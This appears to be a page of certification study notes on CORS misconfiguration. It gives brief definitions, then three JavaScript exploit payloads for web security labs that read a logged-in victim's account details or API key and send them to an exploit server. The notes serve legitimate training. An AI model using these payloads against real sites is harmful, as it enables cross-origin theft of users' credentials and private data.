> For the complete documentation index, see [llms.txt](https://oscp-7.gitbook.io/bscp-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://oscp-7.gitbook.io/bscp-notes/stage-2/cors.md).

# CORS

* **Definition**: CORS (Cross-Origin Resource Sharing) is a browser mechanism that allows controlled access to resources from different domains.
* **Purpose**: It extends the same-origin policy (SOP) to enable more flexible interactions between websites.
* **Vulnerabilities**: Poorly configured CORS policies can lead to cross-domain attacks, such as data theft or unauthorized access.
* **Limitations**: CORS does not protect against all types of cross-origin attacks, including CSRF (Cross-Site Request Forgery).
* **Same-Origin Policy**: SOP restricts how a document or script can interact with resources from different origins to prevent malicious activities.
* **Relaxation Mechanism**: CORS allows a controlled relaxation of SOP using HTTP headers that specify trusted origins and access permissions.

### Basic Origin refelction

```
<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get','YOUR-LAB-ID.web-security-academy.net/accountDetails',true);
    req.withCredentials = true;
    req.send();

    function reqListener() {
        location='/log?key='+this.responseText;
    };
</script>
```

### Null origin allowed

```
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get','https://TARGET.net/account_api/?EPOCHtime=1679134272000',true);
    req.withCredentials = true;
    req.send();
    function reqListener() {
        location='https://EXPLOIT.net/log?key='+encodeURIComponent(this.responseText);
    };
</script>"></iframe>
```

### Ajax steal api key

<pre><code><strong>document.location="http://stock.YOUR-LAB-ID.web-security-academy.net/?productId=4&#x3C;script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://YOUR-LAB-ID.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://YOUR-EXPLOIT-SERVER-ID.exploit-server.net/log?key='%2bthis.responseText; };%3c/script>&#x26;storeId=1"
</strong>
&#x3C;script>
    document.location="http://stock.TARGET.net/?productId=4&#x3C;script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://TARGET.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://EXPLOIT.NET/log?key='%2bthis.responseText; };%3c/script>&#x26;storeId=1"
&#x3C;/script>

</code></pre>